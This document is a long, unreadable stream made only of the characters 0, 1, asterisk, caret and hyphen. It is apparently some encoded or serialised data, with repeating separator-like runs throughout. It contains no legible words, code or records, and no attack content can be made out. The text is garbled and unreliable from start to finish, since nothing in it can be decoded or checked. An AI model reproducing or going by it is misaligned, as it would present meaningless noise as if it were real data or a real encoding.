0--^--*-001011**11*0-11*01010^1********^1^1010-0-*00--------1101**0-001011*0^1101********0^1*1*00^1*^1*****01***110101*00^-*001*1*--------0010-1*-00^11*--------10^1*00-001011*0^1101**********011*00^1*^1********011*11*001*11*001*1*********00101*^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------^^1*0-001011**-*1101*00101******001*^1*10^--------0110101*0-001011**-*1101*00101********^1*10^--------11*11*0-001011**-*1101**101*--------00110-*-00^1*0-11*--------1^-1*-001101*0-11*--------010-1*0-001011*010-*********0-*********0-**********1**101*101*01^11*00^1101011*^-11*1*011011**01**--------0110^1*-001011*0^1101******01^11*1*1*001*010^1*****01***11*1*00^101*001*1*0101*001101*--------00110101*-001011*0^1101********0110-01*00^1*^1********001^11*001*01*001*1*01^1*11****01**0^-11*01011*********011********0011*11********0-00101*********0-********0^1011********00101101********010-11********0-00101********01*011********110-01********01011*********01011*******************001011*0101*10^1**********10101*0-00-*001^1*001****01**001**0--0011*001^1*001****01**0-010^--0101*001^1*001*******010101010--*1*001^1*001****01*****0--001101*01^1*********1***-001*1***001**0^11******01***1101***011***01^1^1***00--------*1**0-00101*001^1*^110101*1010-11*1*^--110-11*0101*01*1*01010^-*00--------1^-1*-0010-*---------11**-00101*001^1*^11010--10-11*1*^110^110-11*^1*01*1*********-1*0--00^11010^1*0110110^1011**1*********00101*1*00^1011**001010-11*0011*******1***101**01*101**011010-01*011*00--------010^1*0-00101*001^1**11*1101*00101*******1101011*10^11011******011**0011*101**--------0-101*0-00101*001^1*^1101******01*1^1*1**1*010^-*010-11*-*001*1*1101*00-1*--------01^-*-00^110101*^-0-00-11**1*01*1*1*^1********101*11*001*001*01*1*--------101*01*-00101*001^1*^1101*****00-001^101101**1*010^-110110-11*-*001*1*********0^1*********1**0101*101*01^11*00^110^1010110-11*1*011011**001*00--------*10101*-00101*001^1*^1101******^1*00-1**01*010^1*****001**^101**01*11*001*1*0101*001101*----------01*-00101*001^1*11011*01^1*11****01***0-11*01011********01101101********01101101********11*001********10^1*******************00-**********101101********-1011********011*001********1101101********0-*01********1101*0101*10101*001*1*********1*001*0-*101*01^1*001****01**001**0--0^1*01^1*001*******0-11010--*01*01^1*001****01**0-010^--0-*001^1*001*******-1*10--0011*001^1*001*******010101010--001101*01^1*********1***-001*1***001***011******01**0-001****1***1^1^1*1*******0010101*********011*******101**^^1*****011**1*-1*****01**01*0101****************00-*1*00^10101*11***************************************************************101*00101*10-11*1*1*-11*1^1**11***********0010-01101^1*********11*0010-0---------0010-*-00^1101******00110-0-101*001*010^1^10^-11*11011*1*1*-----^---001*00-*1011*1^1*-01*-11*********^1*0--00^101^-*1*01*1*1*1*1*1*1*-----^--110-*00-*1011*1^1**11*1*1*1^1**11010-01*1*1*1*1*-----^--^^1*0-*1011*1^1**11*-11*0101****01**00101*-101^101*01*1*011**11****001**1^1^-101^11****01**01010-1*101*1**0101*01*1*011****001**-01^-101^-*01*1*0101*01*1*--------0^-1*-001*1*-11*-----^---0-*0-*1011*1^1*0-1**********1*00-1^^11010-01*^101^-*-1*001*1*-1*01*1*-----^--0011*1*-*1011*1^1*^1101******--011011**001*010^1********001*01*00^11011*1*1*-1*01^1**11010-01*-1*01*1*-----^---00101*-*1011*1^1*01101*-11*0-*01^1*110101******^101*00101******01**101***01******01***011**0^1*******0010^1*011*11*10-*0110-1*0-11*1*^-11*01*1*-*001*1*0-*01*1*--------^10-*-00^1101*******^11*0101*001*010^^-^-11*10101*1*1*-----^--1*0-*-*1011*1^1*^110101*^1********1101^1*001*0011*1*1*1*^1********101^11*001*0011*1*1**********11*^-001*^-11*01*1*-*001*1*-----110--11***-*1011*1^1*^1101*********00^1*00^1*^11*0010-11*01101*1*1*-1*01^1*01101*0-*01^1*011****011**0011*1*101*^11*1*110101^-101*1*001*******************001**1*0^10-*1101*01^1*01101*-----110--1*11*00-*1011*1^1*10101*-11*011****001**10101^-10110110101******1011**0101******01**1^-**1******01**1101***1*11*001*1*011****01**0^-11*101******1**010-01**1******1**00--**1*101*01*1*110101******00^1*00101******1**001*1**01******1***1101**01*11****01****101*101******11***-**01******11**0-11**0^^101^-*11011*01*1*1101*01*1*011*001*1*1011*01*1*--------^10-*-00^1101*****0010^1^1011011*001*010^-110^-11*10101*1*1*-----110--^1^1*-*1011*1^1*^1101*****00^10-010101**01*010^1********01^101*00^11011*1*1*********10101*^-001011*01*1*011*001^1*1*******001*0^1011*1*11010-01*^11010-01*1101*01*1*1011*01^1*011*001*1*--------1^-1*-0011011*-----110--001^11*-*1011*1^1**01*-11*********^1*00-1^^11010-01*^101^-*1011*001*1*0011*01*1*-----110--01*-*-*1011*1^1*01101*0011*01^1**11010-01*0011*01*1*1101*01^1**11010-01*1101*01*1*--------0^-1*-**1*-11*-----110--10--*-*1011*1^1*0101*0-11*********^1*0^-001*^^11*01*1*011*001*1*-----10--1*01**-*1011*1^1*^1101********01^^1*00^1*^1********10101101*001*0011*1*1*0011*01^1*01101*1101*01^1*01101*011****001**^-00-1011*1*001*1*0101*01*1*0101*01^1*011****001***01^1^-0-----10---0-*00-*1011*1^1*^11010-1*0-11*1*^10-0010-11*01101*1*1*01^1*11****001**001**0010^^1*00^1*-*001*1**1*00^1*01101*011****011**0011*1*101*^11*1*1^-0011*-11*001********************1*001*01*1101*101*001*1*-----10--11011011*0-*1011*1^1*^1101**********-*00^1*^^101*-11*01101*1*1*01^1*11****001**001**0010^^1*00^1*011*001*1**1*00^1*01101*011****011**10-001*10^1101**-^1*^10^11**01*0101*10-**11*-11*101*001*1*-----10--^-001*-*1011*1^1*^1101******11*-0-1**0^1^^^101*-11*10-*1*1*^1*01^1*01101**1*01^1*01101*-*001^1*1*******001*0^1011*1*****01**01****1*11*001^1*1*******001*0^1011*1*****01**01****^-----10--^1^11*-*1011*1^1*^110^-0010-11*1*^1*****01**00^1101*001*0-*1*1*01^1*11****001**01***10^101**^1****1****00^11**001*1101*110101******0-*1*101*^1010-11*00-010-11*001*001*1*-**001*0101*001^1*00101*-----10--^--*-*1011*1^1*110110^1011*1*^11*0^-11**11*1*1*01^^110101******01*101*101******11**00101011*001******11**0-1011*001*01*001*1*^1**1*001^1*0101^11*1*1*1**01*1*1*--------00^1*00-*1011*1^1*^1101*****001^10-00^1**1*010^1010-10-11*11011*1*1*1*1*1^1*01101**01*1^1*110101******0010-*0101******1**010^101*001******1**011*101*00^^1*0--------0^-1*-00-01*-11*--------0^101*0-*1011*1^1*^1101*****00110110-00-**01*010^1*****001**^^1**^10101*1*1*********10101*^-00^101^-*-0101******0010-*0101******1**00^-**1******1***10-**^^1*01011*0110101******01*101*101*011*0-11*00-*-**101****1**001101*0--*****001**00^101*****0011**1*******0011**001*1*****0011**0110-******1**01^-*****001**00-01****************001**001101*********1*01******1**0101*1*****01**0-*11********1*-1*****001**001*********001*^1*****01****1********00^1011*****001**0-0^1********1*0011*****011**10-******011**1********1**001101******1**010-11*****001**010-11******1**00-101*****011**0^101****************01**011010101********11011*101*^1011*1*1*01011*1^1*-01*-----10---01^1*-*0101*1^1*^1101********010110101*00^1*^110101010-11**11*1*1*********0^1**-00--------^10-*-00^1101*********-011*00^1*^1^-10-11*01101*1*1*-----10--101*011*-*0101*1^1*^1*0-11*********^1*0^-001**00--101011*0^1*1*1*-----10--110101011*-*0101*1^1*1*^11*-0-11*01101*1*1*0^1*1^1*-01*--------01^-*-00^110101*^110101^-11*-01*1*1*1*^1********--01*00^-01*1*1*-----10---10-1*-*0101*1^1*11011**********1*0^-001**00--101101*0^1*1*1*--------^1**0-*0101*1^1*-01*0^1*1^1*01011*0101*******101101*0101*-011**001*****01****1*1**0^1*--------1^-1*-00-01*---------001*00-*0101*1^1*00-**********1*0^-001**00--1^11*0^1*1*1*--------^-*00-*0101*1^1*^1101*010110-11*1*^1********--01*001*1101*1*1*0^1*1^1*^11*1101*0011****001***1^1*10^-01*01*11011**^1^10^-**1*0101*--------1^-1*-*0011*--------1*011*0-*0101*1^1*0-1**********1*0^-001**00--1*11*0^1*1*1*--------1^-*0-*0101*1^1*1101*0-11*0^1*1^1**11*0101*00101****01**0^1*1^-0--------0^-1*-001101*0-11*--------0011*1*-*0101*1^1*^1101*-*-11*1*^110-110-11*01101*1*1*********-1*0^-001**00---101*0^1*1*1*--------10^101*-*0101*1^1*^1101******110-010-01**1*010^1********10-001*00^10101*1*1*0^1*1^1*01101********************0011**********10-********010^1*********101101*****01**01101*********001*11*****001***001*********00-001********^11011*********10-*********-*********01*01********00101101*********10-********-1*0101*1*101*1*1*00101*1^1*0-*0-11**11*1^1*001****01*****0--0-01*1^1*001****01**001**0--001101*1^1*001****01**0-010^--010101*1^1*001*******010101010--010-*1^1*001****01**0^110^--*-*1^1*001*******0-11010--011011*1^1*001*******-1*10--001101*01^1*********1***-001*1***001**0-01******0101**00-01**00-***1^11011****10101*01*********-0-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*********-10-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11****01**00110-1*101*11*******011**0010^-01*-*001011010-*011*11**001********001*0011*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^1**00--------0-**0-001011*0^11010-11*-11*1*^^-010-11*101*001*1*01010^1*******0011**0010-0-*00--------11*1*00-001011*0^1101*-00--01011011*1*011*1*001*^1*****01**0110-1**1*01*******0-11010--*****001**0110-1**1*01*******0-11010--*****00-10^^11**001*010^110110^-11*011*001*1*--------0010-1*-*1101*--------0010101*0-001011**011*********-*00^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------1101011*0-001011*0^1*0-11*1101*00101******001*0-*101*1**--------010-1*0-001011*0^1101********00-0101*00^1*^1********1^1101*00^101*001*1*1101**101*--------0010-1*-00-01*--------0110^1*-001011*011011*********-*********001**0101*101*01^11*00^1101*1^10-11*1*011*1*0011**--------0-0101*-001011**0110^1011*1*^1*01010-11*001*001*1*0101*001101*--------10-101*-001011*00-1*01^1*11****01**01^-1*01011*******************0-*********-1101********01011*********00-0101*********0101********0010-********00-1101********0010-*********0-11*********00101********0-00101********0011*0101*10^1*********011*01*0-*11*001^1*001*******-1*10--0101*001^1*001****01*****0--*1*001^1*001****01**0-010^--001101*01^1*********1***-001*1***001**001101******01**01^1***00-***1^1^1***00-----10--1*0-1*-00101*001^1*^1101********0-00101*00^1*^1*****01***001**001*001*01*1*01010^-*00---------**00-00101*001^1*1*^1*01010-11*0101*01*1*--------01^-*-00^1101*****0011*1*010101**^1^^1*****01**00110^1*00^^1*01*1*--------01^1*00-00101*001^1*^11**********1*010-^^110^10110^-1*^1**01******0010-**-01*001*011******0011**-01101*00^1011*********0110-01*001*101**011010-01*011*00--------101^1*0-00101*001^1*^1101********00-0101*00^1*^1*****01**01^^1*001*001*01*1*1101*00101********0-*101*1**--------^1011*0-00101*001^1*^1101*10^110110110-11*-*001*1*0010^110110110-11*-*001*1*1101*0--*0110-00^1010^10101^-011*1*1*1101*1^11*^--------1^-1*-00-01*--------1101*1*-00101*001^1**11**********1*********01**0101*101*01^11*00^1101011*010-11*1*011*1*0011**--------00^101*-00101*001^1*^1101******010-^101101*001*010^1*****001**1^1**001*11*001*1*0101*001101*--------110-01*-00101*001^1*11011*01^1*11****01**00^-1*01011*********0011*********1*11********01*011********001*1********0011*01********10^1*********-********************01101101********001*1**********11*********-11*********11*0101*10101*001*1*********101*1*0-*101*01^1*001****01**0-010^--0^1*01^1*001****01**0^110^--*01*01^1*001****01**001**0--0-*001^1*001*******-1*10--0011*001^1*001*******010101010--001101*01^1*********1***-001*1***001**010101******01**0--***0101***1^1^1*--------1010101*0-*10101*1^1*11****01**01*-1*01011********011********************0-*********00-********************0101*00101*1*01*01*1**1*01^1*01101*01010^--------01010-*-00^1101********0110^11*00^1*^110-110-11*011*001*1*--------^1101*0-001011*0^11*********-**10-0010-01*011*-*00--------*1011*0-001011**-*1101**011010-*00101*001101*00101101010^^101**101**011010-01*011**101****1**01^10--011011011******01011**11*^1*0011011******00-**11*-**11011******011**0011*101**--------0^^1*-001011*01*^1*****01**00-011**^101*001*1*--------0010-1*-0011011*--------01^101*-001011*0^1101******1^101010^11*001*010^^-*-11*001*001*1*********1*1*********1**0101*101*01^11*00^11010110-00-11*1*011*1**-*0101*00--------^^11*-001011*001101*0101*001101*********0^11********00-0101*******************0101011**********01********0-1101********0^1*1********-0101**********01********0^1*********00101*0101*10^1*01011*010-*011*001^1*001****01*****0--0101*001^1*001****01**001**0--*1*001^1*001*******-1*10--001101*01^1*********1***-001*1***001***101******01********01***1^1^1***00--------01*1*00-001011*01*^1*01010-11*011*001*1*01010^1********010101^10-0-*00--------001011*00-001011*0^1101*******110^101**001*010^1^1*0-11*001*001*1*--------0010-1*-*-1*--------110^1*0-001011*01*^-1*10-11*011*001*1*********1101*0^-0010-01*011**1101011**0101101010^^11**0101**011010-01*011*00--------01^11*0-001011*0^1101********011011011*00^1*^1*********10-*00^101*001*1*1101*00101****1**001010101*10^--------**01*-001011*011011*1101**101*---------00-*-00^1101*****001101101101101101*001*010^1********0-1011*001*01*001*1*--------00-001*-001011*010-*********-*********001**0101*101*01^11*00^11010101*10-11*1*011011**01**--------00101101*-001011**-*0101*001101*--------10-101*-001011**011*01^1*11****01***00-1*01011********11*01********0010^1********0101*01********0110^1********1*001********001101*********00^11********010-001********010^1********01011********************00^11*********11*0101*10^1*********011*01*0-*11*001^1*001****01**0-010^--0101*001^1*001****01**001**0--*1*001^1*001*******010101010--001101*01^1*********1***-001*1*******^11********0--11**0011***01^1^1*1*******0010101*********011*******001*00-01101*****001**00-11******1**110-***********01*******0010101*********011*******001*0010^11*****001**00^1101*****001**1^1101****************00101^1*001********0010101*11***************************************************************101*00101*1**^1*1**00^1^1*01011***********0010-01101^1*********11*0010-0--------1^-101*-*-1*1^1*01011*-----10--101**--00^101^-*-01*01*1*0011*01*1*---------^11*-*-1*1^1*01101*0011*01^1**11010-01*0011*01*1******************************01*01*********-*******************************-*********0-*00101*^-1*1*1*0-1*1^1*-01***********0010-01101^1*********11*0010-0110101****01**00101*-10110^1*01*1*011**11****001**1^1^-101^11****01**010110-*101*1**^1*01*1*-----10---01011*0-0011011*1^1*10-*011****001**-01^-1011*01*01*1*^1*01*1*011****001**10101^-10110-*001*1*^1*01*1*011****001**^-00-10110101*001*1*^1*01*1*^1*01^1*011****001***01^1^-0-----10--11010^1*-0011011*1^1*^1101010101010-11*1*^1*****01**011*11**1*0-*1*1**1*01^1*0101^-101*0101****1**0-0^1*101*11****001**10--*101******01**00-001*001******01**0101*1*00^^11*011*001*1*-----10--101*011*-0011011*1^1*0011*0-11*-*001^1*0101^101101*110101*******10101*101******1***1*11*001******1**0-01101*001*11****001**10--*10^-01^-11*1*0^-11*^11*011*001*1*-----10--101010-*-0011011*1^1*1101*0-11*101*001^1*0101^-101*110101******00110101*101******01**^-01*001******01**010^11*001*-*01*1*10-001**10-11*01101*0-*01*1*0-*01^1*1*******0010^^1011*-101*101*001*1*--------*11**-0011011*1^1*01101*011*001^1*110101******-101*00101******1**0--**01******1***10-**^1011*01*1*10-001*11*01101*1011*01*1*1011*01^1*1*******0010^^1011*-101*110101******1101011*0101******01**01^101*001******01***01101*001*11****011**0011*1*101*^11*1*110101^--*1*001********************01*01*0^^11*101*001*1*001*001*1*---------0011*0-0011011*1^1*00-*101*001^1*0101^101101*110101*******10101*101******01**0-0-*001******01**10-001*001*11****001**10--*101******1**00-1011*001******1***0^11*001*0011*001*001*1******01**0^^1010-0---------^-1*-0011011*---------1^1*-0011011*1^1*^110101*^1011*10-11*00-*1*1*1*^1*****01**0101*01*001*0-*1*1*********10101*10-^-01*110101******0^-*0101*--0-11**11*-11*001*001*1******01**011**********11011011********001101********0010^101********001101******1**00101101********00-101********01*11****************001***0011****************001***0011********0010110101********1011*0101*1011011*1*1*11011*1^1**11*001*001^1*0101^^11*01*1*1101*01*1******01**01^-1*-*011*01^1*01101*1101*01^1*^1*0--------10-001*-00^11*1^1*-01*1011*0110101******00110101*101******11**-1101**1******11**001101**01*101*01*1*10-0010101*0-11*01101*0101*01*1*0101*01^1*1*******0010^^1011*-101**1**11*0011****001***-01*101*1101*110101******00101**101******11**01011**001******11**^1011**^-***********001*****************************00110^1*********************1********011*01********0-*00101*10^11*1*1*^11*1^1**11*-----10--11***0-001*1*1^1*^1101*****001*001^-**001*010^1*********1^1*00^1^1*1*1*********10101**-00--------01^-*-00^1101*****00-10-*0011**^1^^1*********00101*00^-01*1*1*-----10--10-01*00-001*1*1^1*1*^1********-00101*00^10101*1*1*********-1*0^-001**00---011*-1*01*1*-----10---1*1*0-001*1*1^1*^1101*****00^10-0101^1*001*010^^110^-11*1^1*1*1*-1*01^1*-01*--------1^-1*-00-01*-----10--101*11*0-001*1*1^1*0011*0-11*********^1*0^-001**00--101101*-1*01*1*-----10--11010-*0-001*1*1^1*0101*0-11*-1*01^1**11*0101*00101****01**0^1*1^-0--------00110-*-00^110101^1010-11*1*^10^1^-11*01101*1*1*-----10--^10^1*-001*1*1^1*00-**********1*0^-001**00---101*-1*01*1*-----10--101^101*-001*1*1^1*1101*0-11*-1*01^1*^11*-----10--10^1101*-001*1*1^1*0-*0-11*1101*0110101******0-*1*101******11**11***001******11**1011***1*11*******00101011*10^^-*011***101^11**001*-1*********1*0011*001*11****01**0010^11*101********00-1*1*001*********1^-*001*1011*-11*--------00110-*-00^110101*-0-11*1*^-0-10-11*10101*1*1*-----10--1^-11*-001*1*1^1*^11**********1*0^-001**00--1*11*-1*01*1*--------1101**0-001*1*1^1*1*1*-11*-1*01^1*11011*010101*11*00--------0^-1*-001*1*-11*--------*001*00-001*1*1^1*^1101*********-001*00^1*^-10-0-11*00101*1*1*********0^1*^-001**00--101011*-1*01*1*--------00-1*00-001*1*1^1*^1101*****00--**1011*001*010^^101010-11*1^1*1*1*-1*01^1*01011*--------1*101*0-001*1*1^1*01101******01***0110^10-00110101******-01101*101******11**0110^1*001******11***0-1*00^-*00--------^10-*-00^1101******^^-0-1**1*010^--110-11*1^1*1*1*--------0--*0-001*1*1^1*^1*0-11*********^1*0^-001**00--1^11*-1*01*1*--------1*^1*-001*1*1^1*^1101******00-*001*1*001*010^1*****001**01*01**1*^1*1*1*-1*01^1*01101*********0^^1*******************-^1*********0^1*****01**00-*1********-0-1*****01**001*11*****001**0101^1*****001**011*******01***1011********00110-********001011011*****001**01^^1*****01**001*1*********0011******01**0101^1********010-101********110-******1**001*11*********01101*********101*101*101*1*1*1*1*1*1^1*0^1*-11*-01*1^1*001****01**0^110^--001101*1^1*001****01**0-010^--010101*1^1*001****01*****0--*101*1^1*001****01**001**0--01^1*1^1*001*******-1*10--00^1*1^1*001*******010101010--*-*1^1*001*******0-11010--001101*01^1*********1***-001*1***001**01^1*******1*0010-011***11***1^11011****10101*01*******--0110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******--0-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11****01**00-0-*101*11*******011**00101*1011*-*001011010-*0-1*-*001********001010-1*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^11*******0010101*********00-******001**10^11*****001**00^^1********1^1011****************00-*1*001******10101*11*001*1**************************************************************0101*00101*101^1*1*1*1^1*1^1*01101***********0010-011011*001^1*011****011**0011*1*101*^11*1*110101^-001*1*001********************11*01*0^11011*01^1*********0-*10-011011*001^1*001*001*1*--------01^-*-00^1101*******101^^101*00^1^^1*****01**010^11**^1*1*1*1*-----10--11011*1*-001011*01^1*^1101010-00--01*^110-11**001101^^1*10^-11*001****01**0^110^--01^^1010-10-11*001****01**0^110^--0010-10-11*001****01**0^110^--********0101*01*00^1*^1*****01**01*0011*001*-*01*1*********1*11*-1^^1101*011*^101^-*-1*00101*001*1*-----10--1010^11*-001011*01^1*^110^1101^-11*1*^110110^-11**01*1*1*101*001^1**11010-01*101*001*1*-----10----011*-001011*01^1*00-*1011*001101*--------1^-1*-*0-*-----10---110-*-001011*01^1*^110101*^^-110-11*1101*01*1*1*^110^^-11*1101*01*1*********0^1*0-11*0011010-01*101*001*1*^1*01011**011010-01*^1*0---------1**0-001011*01^1*^1101*********01*1*00^1*^1*****01**0^-1**^-1*01*1*001*001^1*110101******^101*00101********0011*011*001*********110-1*00^1*******0010^1*011*11*10-*01101*^1^1**01*01*^1101*001*1*-**01*001*1*--------101*1*0-001011*01^1*^11*101*001^1*01101*001*001^1*011****011**0011*1*101*^11*1*110101^11*1*1*001********************01*01*01*1011*--------01^11*0-001011*01^1*01011*1011*001101*0011*00101******00101^1*0101*01****01***010-*010-0^^1*******001*0^1011*^101010-11*1101*0011****011***001*00101*11*00--------0101*1*-001011*01^1*1*^101101010-11*0-*01*1*0101*0110101******1011**0101******1***-001*001******1***^-*00^110101******1*1101*101********00-1*1*001********0011011011*001*1**011****01**0^-11*101******01**11010-*001******01***^11*001***********1********01101101********00-011********110-******1**0110^1********01*0101********01^-******************00-1101********0110-11********-0101********0-1101*******************1011*0101*101011*01*1*1011*01^1*01101*--------1*011*0-00^1*01^1*^1101*10-0-11*1*^-0^10-11*1101*01*1*********-1**0-00--------01^-*-00^1101******01^1101*01**1*010^1*****01**00^1011*001*101*01*1*--------*1*1*-00^1*01^1*11011**********1*0^-001**00---101*-*001*1*--------0101^1*-00^1*01^1*01011*-*001^1*-01*--------1^-1*-*1011*--------11010101*-00^1*01^1*^11**********1*0^-001**00--101101*-*001*1*--------10-101*-00^1*01^1*^1101******^10-110^1*001*010^1*****001**-***01*101*01*1*-*001^1*01101********************0011*********************011********0110-**********11**********11********0010^11********011**********^1*0101*10^1*01*1*^1*01^1*0-1*1101*01^1*001****01**0-010^--00101*01^1*001*******010101010--01*1*1^1*001****01**0^110^--*001*1^1*001****01*****0--0-1*01^1*001****01**001**0--00-*01^1*001*******0-11010--001101*01^1*********1***-001*1***001**00^1******001**01*101***001**001^11011********************01101******001*00-01******01**00110^1*****001**1**1********01**1*******0010101*********011*******11**^^11*****01**0^11******001***01101****************00101^1*001***010101*11***************************************************************101*00101*10^11*1*1*^11*1^1**11*00-0110101******001^^-11011011011*******011*01101*0--1101**^1*******************001011*********01011******************************00101*00101*10-01*1*1*-01*1^1*01101*********00110^10-0--------11**11*-0010101*1^1*^110101*^1*01*-11*1011*01*1*1*^1********11*001*00^1011*01*1*-----10---010101010-*101****01**-*1*010^101**^1*********1*01********001*01****************************************001*01*********11*00101*1010101*1*1*10101*1^1*^11***********0010-01101^1*********11*0010-0110101****01**00101*-1011*1*001*1*011****001**1^1^-101^11*******011**00101*1011*-*001011010-*01^1^11*001*********011*1*001*01*001*1*011****001**-01^-101^11****01**011010-*101*101****01***^10-101^11****011**1*-*0101*-**^^11010101*-01*001*-1*******************001101*01*01*101****01**1*0010-10110^1**01**1*001*1*011****001**10101^-101^101****01***^10-101^11*******00101011*10^^-*011***10^11011**1*-1*********01^101*001*101****01**1*0010-10110^1**01**1*001*1*011****001**^-00-101^11****011**10-001*10^1101**-^1*^1010-**01*0101*01011*1011*0-11*001*001*1*001*001^1*011****001***01^1^-0011*00--------1^-1*-*1101*----------1*0-001^1*1^1*10-**********1*0^-00110101******11011**101******11**-***01******11**0-1**001*11****01**01*001*0101*0101*11011010^1**1^--***1*1011*00101*^1*0--------1^-1*-*1101*---------10101*-001^1*1^1*^1101010-*1*^--110-11*^1*01*1*********0-*0^-00110101******0010^1*101*11*10-11*0^1^-11*011*******00101011*10^^-*011***10101^11**1*0011*00110110-11*^1***********11********************011*******************001010-********************011********001010-*********1*0101*101^1*1*1*1^1*1^1*01011*1011*00101****01**011*1*010^101**^1******01**0-001*00-*******************0101*********00101******************************************11*00101*101*1*1*1*1*1*1^1*01101*101*001^1*0101****01**101*10-101^101****01****10-1011*01*0-----110--*^11*-*001*01^1*^1101*****0010-^1101***1*010^1*****01**0-01101*00^-1*01*1*011****001**-01010-101^11****001***-01*101*1101*110101******00101**101*1^110-11*10101*-11*-**001**11*0011****001**001010101^-0-----110--^-11*-*001*01^1*^1101*****00--0--011*001*010^10^1*-11*0-*01*1*-----10---01**0-*001*01^1*11011*---------10-*-001*^^1*10-11*0101*01*1*-----10--110-**-*001*01^1*^11010110-00-11*1*^1********^^11*00^1011*01*1*********0^1*^-001**00---011*011*001*1*-----10--1^-*00-*001*01^1*00-*011*001^1*-01*--------^10-*-00^1101*****001*010110101101*001*010^1*00110-11*0-*01*1*-----10--^10101*0-*001*01^1**11**********1*0^-001**00--101101*011*001*1*-----10--101^11*0-*001*01^1**01*-11*011*001^1*01011*--------00110-*-00^110^1011010-11*1*^-00-0-11*1011*01*1*-----10----11*0-*001*01^1*1*^110^^-11*0011*01*1*********0011*0010-00110101******-01101*101******11****11*001******11**01^101*00^-*00--------01^-*-00^1101*****0010^1*1*011*00^1^^1********0110-1*00^1101*01*1*-----10---001101*-*001*01^1*^1101*****0011*0110110-1*00^1^^1^11*-11*1101*01*1*********0^1*^-001**00--1^11*011*001*1*-----10---1^11*-*001*01^1*1011*0-11*011*001^1*11011*010101*11*00--------0^-1*-001011*0-11*-----10--^^-*-*001*01^1*1^1*-11*********^1*0^-001**00--101011*011*001*1*-----10---10-1*-*001*01^1*01101*011*001^1**11*0101*00101****01**0^1*1^-0--------1^-1*-*1101*--------0-**0-*001*01^1*0-*0-11*********^1*0^-001**00---101*011*001*1*--------1*01*00-*001*01^1*-1*0-11*011*001^1*^11*--------101101*00-*001*01^1*0-1*1101*0110101******0-*1*101******1**0^-11*001******1**0-0-1*001*11****011**0011*1*101*^11*1*1^-00-1010-*001*******************0101*001*0^-01*011****01**0010^11*101******1**0^-11*001******1***00^1*001*1011*-11*--------^10-*-00^110^1011*-11*1*^1********01*101*001*101*01*1*--------010-1*0-*001*01^1*10-**********1*0^-001**00--1*11*011*001*1*--------0011*1*-*001*01^1*^11010--10-11*1*^1**********11*00^^1*01*1*011*001^1*01101*********011*11*****01**01***********1*11*****01**00-*1*****01**0-101******1**0110-***********1********^1^1********0^1011*****01**0^11011*******************^1011*****01**00110^1********0010-********0-011******1***01011*****001***010101*****01**01**********010101******01**010-01**********001********01010101********01101*101*1*01*01*1**1*01^1*1101*0-11*-1*01^1*001*******010101010--00-*01^1*001*******-1*10--01011*01^1*001****01**0-010^--*11*01^1*001*******0-11010--01101*01^1*001****01**0^110^--00101*01^1*001****01**001**0--0^1*01^1*001****01*****0--001101*01^1*********1***-001*1***001**01*1*******1*0011*11***-***1^11011****10101*01*******00-10110-11011**01**01101*01^1*********1***-001*1******0101011********00-1****11***01^1^1******0010101*01*******00-10-0-^1**01101*01^1*********1***-001*1******0101011*********-****01***01^1^1******0010101*11****01**0^10-*101*11*******011**0010^11011*-*001011010-*0-01^11*001********001011*1*001*1**0101******0011*01*0101*1*****1101*01^1*********1***-*110^-----110--1*-11*-00101*001^1*^11*01010^1*******0011**0010-0-*00---------**00-00101*001^1*^11*--------00110-*-00^11010110-00-11*1*^-^^-11*^1*01*1*--------00-**-00101*001^1*^1101******10^-011***1*010^1********-10101*001*11*001*1*********10101*10-^^110^101101010-*^1**01******0011***0-1*001*011**********00^1*00^1011*********011*001*001*101**011010-01*011*00--------*0101*0-00101*001^1*01011*1101*00101******0010^1*0010^11011******00-**11*^1*0011011******011**0011*-**11011******01011**11*101**--------*0-*0-00101*001^1*01011*1101**101*---------10-*-001*^--*-11**1*01*1*--------001*01*-00101*001^1*-01**********1*********01**0101*101*01^11*00^110^-1*1*0110101**01**-*0--------10-001*-00101*001^1*^1101*******^10110^1*001*010^1*-00-11*-*001*1*0101*001101*--------1*1101*-00101*001^1*^1101*****001^1011**1**1*010^1010-10-11*011*001*1*01^1*11****01**001^-*01011*********11*********01*011********010-01********01*011********^^11********01*011******************00^-1*********1101*********10-01********-^1********0^1101*********11*0101*10101*001*1*********-^1*0-00^1*01^1*001****01**0-010^--*01*01^1*001*******0-11010--0-*001^1*001*******010101010--0011*001^1*001*******-1*10--001101*01^1*********1***-001*1***001***001******01***0011***0101***1^1^1******0-----10---10-1*-00101*001^1*1*^--*-11**1*01*1*01010^11011******001**1010-0-*00--------^10-*-00^110101*^1^10^-11*011*001*1*1*^1^10^-11*011*001*1*--------01011**-00101*001^1*11011**********1*0--00^11010^1*01101101*011**1**-*1011*001011*0011**11*0-11*0101**011010-01*011*00--------011011*00-00101*001^1*10-*1101*00101*******--*010^11011******011**0011*101**--------010^1*0-00101*001^1*10-*1101**101*--------^10-*-00^1101*****00-11*0--**1*010^11*1^-11*-*001*1*--------00^11*0-00101*001^1*1*^11*0110-11*011*001*1*********0011*********01**0101*101*01^11*00^1101*-00--01010-010-11**0011*1*001*^1*********-01*001*01****01**0-010^--*********0-01*001*01****01**0-010^--0^11*1*011011**001*00--------1101^1*-00101*001^1*^1101**********-*00^1*^1*********10-*001*11*001*1*0101*001101*--------0^1101*-00101*001^1*^1101********0-1^1*00^1*^1*****01**00-1**001*11*001*1*01^1*11****01**010^-*01011********11*001********11011*********11*001********-0^1********010^11********11*011******************00^-1********0010^11*******************^11********001101*0101*10101*001*1*********0-001*0-*001*01^1*001*******0-11010--0-*001^1*001*******-1*10--0011*001^1*001****01**001**0--001101*01^1*********1***-001*1******010110101*****01**0010101***0-***1^1^1*1*******0010101*********011*******11**11011******001**010-01********1*011*****************-*1*001******1010^^1*01*1*-----^--*1101*0-00--------010101*00-*0101*1^1*^11*--------0^-1*-00^1*0-11*--------^-*00-*0101*1^1*^1101*****00^1*-001101*00^1^^--010-11*01101*1*1*********0^1*^-001**00--1^11*0101*01*1*--------1010101*0-*0101*1^1*10-*0101*01^1*-01*--------1^-1*-0010-*--------01^11*0-*0101*1^1*1011*0-11*********^1*0^-001**00--101101*0101*01*1*--------^-1*0-*